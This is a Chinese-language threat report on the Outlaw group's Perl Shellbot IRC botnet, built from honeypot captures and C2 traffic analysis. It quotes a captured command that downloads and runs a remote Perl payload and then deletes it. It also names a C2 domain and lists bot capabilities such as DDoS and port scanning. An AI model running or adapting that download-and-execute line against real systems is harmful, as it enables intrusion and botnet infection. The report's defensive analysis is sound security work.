近期,研究人员发现一个黑客组织的攻击活动Outlaw,源于其使用的攻击工具haiduc(罗马尼亚语)的英文翻译。Outlaw使用了基于Perl Shellbot构建的IRC bot。该组织利用了一个物联网设备和Linux服务器上常见的注入漏洞来进行传播。深入研究发现该威胁影响Windows环境和Android设备。
攻击者在最近的一次攻击活动中入侵了一个日本艺术机构的FTP服务器和孟加拉国政府的有漏洞的Dovecot邮件服务器网站。然后用这两个被入侵的服务器,将其链接到一个高可用的簇来作为IRC bouncer,用做新出现的僵尸网络的C2。
研究人员除了发现攻击者在第一个服务器上的初始漏洞外,还找到了进行DoS和SHH暴力破解攻击的黑客工具集的配置文件——class files
。这说明攻击者构建了一个可用于网络犯罪的僵尸网络。
研究人员的蜜罐系统发现了该攻击活动的许多踪迹,下面是捕获的源和注入的命令:
表1. 识别出的命令
注:
Source表示尝试注入命令的源IP地址
Command表示蜜罐拦截到的命令
研究人员检测到的受感染的国家有:
该僵尸网络本身就是基于一个用Perl脚本语言编写的Shellbot变种。该僵尸网络之前是通过利用Shellshock漏洞进行传播的,因此命名为Shellbot
。这次,攻击者主要是通过之前的暴力破解或者入侵主机来进行传播。
为了进一步分析威胁行为,研究人员使用了如下配置的蜜罐主机:
然后监控C2流量并获取了IRC信道信息。首次感染后,IRC信道中就有142个主机。
首先在IoT设备或服务器上运行一个命令。比如命令uname -a;cd /tmp;wget hxxp://54[.]37[.]72[.]170/n3;perl n3;rm -rf n3*
就是用uname -a
来验证主机从命令行接口接收的命令。命令成功执行后,工作目录就会修改为/tmp
。然后用perl翻译器运行下载的payload n3
文件。最后一步是移除n3
文件,这样就在被攻击的系统中找不到活动痕迹了。
图1. Payload n3文件
僵尸主机安装后,就开始通过IRC与C2服务器通信。
图2. 僵尸主机以/usr/sbin/httpd
运行
图3. 到C2服务器luci[.]madweb[.]ro
的出流量
到C2的连接尝试在感染后就出现了,并且是持续的。如果连接断开,就重新连接。这一阶段,重启受感染的机器并不会对系统做出的变化有任何影响。
为了更好地理解C2通信的动态性,研究人员获取了受感染主机的流量。重构的TCP流显示下载了恶意文件,以及之后的C2服务器的通信。
从受感染的主机和C2服务器中获取的TCP流中可以看出下载和运行了n3
文件。
图4. 受感染的主机和C2服务器之间的网络流量的TCP流
图5. 感染后的TCP通信流
感染后,通信流量说明恶意软件会加入僵尸主机的IRC信道,并分配给昵称和服务器配置信息。修改DNS设置能够确认有真实的攻击目标参与其中。同时还有处理器核数和处理器的类型。同时通过命令cat /etc/passwd/
泄露了主机上运行着Splunk
,这是为了通过管理员目标设备正在被监控或安装了反病毒软件。
然后用PING/PONG
通信来保持通信信道开启。IRC服务器会发送PING消息,需要PONG消息响应来预防连接断开。
图6. 单独的消息会发送给IRC管理员
运行后会分配一个硬编码的进程名Shellbot
。这可以帮助隐藏运行的僵尸主机,以防被系统管理员、安全监控和研究人员发现。
图7. Shellbot配置文件
Shellbot在目标系统上运行后,IRC信道的管理员会发送不同的命令给被感染的主机。列表中含有执行端口扫描、DDOS、文件下载、信息获取、发送操作系统信息和运行进程列表的命令。
图8. 含有可用命令列表的script header
IRC相关的函数使用了join, part, uejoin, op, deop, voice, devoice, nick, msg, quit, uaw, die
等。DDOS相关的活动会影响UDP/TCP/HTTP
流量。
如果触发了端口扫描,僵尸主机会扫描以下端口:
表3. 僵尸主机扫描的端口
网络通信看似是XMR rig挖矿监控工具的输出。
工具的代码为:
root@ubuntu:~$ cat speed.sh
i=1
result=`docker ps -q | wc -l`
while [ “$i” -le “$result” ]
do
echo “miner numa $i speed”
docker logs minernuma$i | tail -8 | grep speed >> /tmp/minernuma$i.tmp
tail -1 /tmp/minernuma$i.tmp
rm /tmp/minernuma$i.tmp
i=$(($i + 1))
done
受感染的主机会被分配一个昵称,格式为sEx
加随机生成的数字。本例中主机的昵称为sEx-3635
。
图9. 含有主机昵称的TCP流
所有受感染的主机以PING/PONG
流量格式显示了基本的C2连接,也提供了系统中运行IRC僵尸主机的用户sd-pam
进程的可疑的类crontab记录、进程id等。
下面是主机的信息交换,可能是僵尸主机的新加入者或另一个目标。本例子中受感染的主机是:
图10. 主机信息交换TCP流
图11. 与被入侵的服务器相关联的身份
在流量监控期间,IRC通信信道中出现了luci, lucian, dragos, mazy, hydra, poseidon
等许多身份。
研究人员发现这些身份是被入侵的日本服务器的用户名。该服务器好像非常重要,因为用来传播早期的N3-Shellbot。Dropper n3
文件的传播主要是在第二个C2服务器上完成的。与该服务器的通信如下图:
图12. Dragos SSH login
使用注入蜜罐系统的命令中的凭证,研究人员成功下载了攻击者使用的文件。文件的内容会在服务器上修改。从时间上看,主要发生在中欧时间的白天,而且是工作日。从未在晚上和周末出现过攻击活动。
Outlaw组织在攻击活动中使用了IRC僵尸主机。这并不是一种新的威胁,因为代码在网上是公开的,所有可以用来构建一个这样的僵尸主机。其中的一个攻击活动中,目标主要是大公司,因此采用一些安全措施来预防这种潜在的攻击是非常必要的: